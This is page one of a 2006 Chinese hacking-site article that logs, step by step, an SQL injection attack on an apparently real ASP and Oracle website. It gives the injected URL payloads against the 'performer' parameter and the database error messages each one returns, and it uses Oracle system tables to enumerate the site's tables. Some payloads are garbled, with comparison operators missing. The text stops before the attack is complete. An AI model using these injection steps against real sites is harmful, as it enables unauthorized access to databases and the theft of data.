黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]一次对ASP+ORACLE的注入手记
      ★★★★★

一次对ASP+ORACLE的注入手记

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-6-11 9:11:20

http://et.kpworld.com/star.asp?performer=马三立; 
------------------------------------------------------ 
OraOLEDB 错误 
’80040e14’ ORA-00911: 
invalid character 
/star.asp,行83 
说明过滤了分号。 
http://et.kpworld.com/star.asp?performer=马三立’ 
---------------------------------------------------- 
OraOLEDB 错误 
’80004005’ ORA-01756: 
括号内的字符串没有正确结束 
/star.asp,行83 
看来存在未过滤单引号问题。 
http://et.kpworld.com/star.asp?performer=马三立’ and ’1’=’1 
---------------------------------------------------------------- 
闭和他单引号,正常返回。 
and 0(select count(*) from admin) and ’1’=’1 
----------------------------------------------------------------- 
OraOLEDB 错误 ’80040e37’ ORA-00942: 
table or view does not exist 
/star.asp,行83 
说明不存在ADMIN这个表. 
****************************************************************** 
下面需要知道ORACLE的系统表: 
确定表中行的总数: 
select num_rows from user_tables where table_name=’表名 
----------------------存放当前用户所有表 
where table_name=’表名 
’selectcolumn_name, 
from user_tab_columns -----------------------存放所有列 
where table_name=’表名’ 
and 0(select count(*) from all_tables) and ’1’=’1 
--------------------------------------------------------------------- 
存在! 
all_tables是一个系统表,用来存放当前ID和其他用户的所有表 
and 0(select count(*) from user_tables) and ’1’=’1 
--------------------------------------------------------------------- 
返回。有这个系统表,这个表存放当前用户的所有表 
and 0(select top 1 table_name from user_tables) and ’1’=’1 
--------------------------------------------------------------------------------- 
OraOLEDB 错误 ’80040e14’ ORA-00923: 
FROM keyword not found where expected 
/star.asp,行83 
不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。 
(经过PINKEYES测试已经确定确实不支持TOP 1) 
and 0(select count(*) from user_tables where table_nam’’) 
and ’1’=’1 
-------------------------------------------------------------------------------------------- 
OraOLEDB 错误 ’80040e14’ ORA-00904: 
invalid column name /star.asp,行83 
当语法错误时,会显示无效列名字 
and 0(select count(*) from user_tables where 
table_name’’’’) and ’1’=’1 
-------------------------------------------------------------------------------------------- 
语法正确时,成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试: 
and 0(select count(*) from user_tables where 
sum(table_name)〉1) and ’1’=’1 
------------------------------------------------------------------------------------------------ 
OraOLEDB 错误 ’80040e14’ ORA-00934: 
group function is not allowed here 
/star.asp,行83 
组函数不允许在这里。 
and 0(select count(*) from user_tables where avg(table_name)) and 
’1’=’1 
------------------------------------------------------------------------------------------- 
OraOLEDB 错误 ’80040e14’ ORA-00934: 
group function is not allowed here 
/star.asp,行83 
组函数不允许在这里。 
and 0(select to_char(table_name) from user_tables) and%20’1’=’1 
-------------------------------------------------------------------------- 
OraOLEDB 错误 ’80004005’ ORA-01427: 
single-row subquery returns more 
than one row 
/star.asp,行83 
单行的子查询返回多于一行 
and 0(select count(*) from user_tables where table_name+1) 
and%20’1’=’1 
-------------------------------------------------------------------------- 
OraOLEDB 错误 ’80040e14’ ORA-00920: 
invalid relational operator 
/star.asp,行83 
测试到这里,下面看看怎么弄出他的表来: 
and 0(select count(*) from performer) and%20’1’=’1 
----------------------------------------------------- 

[1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886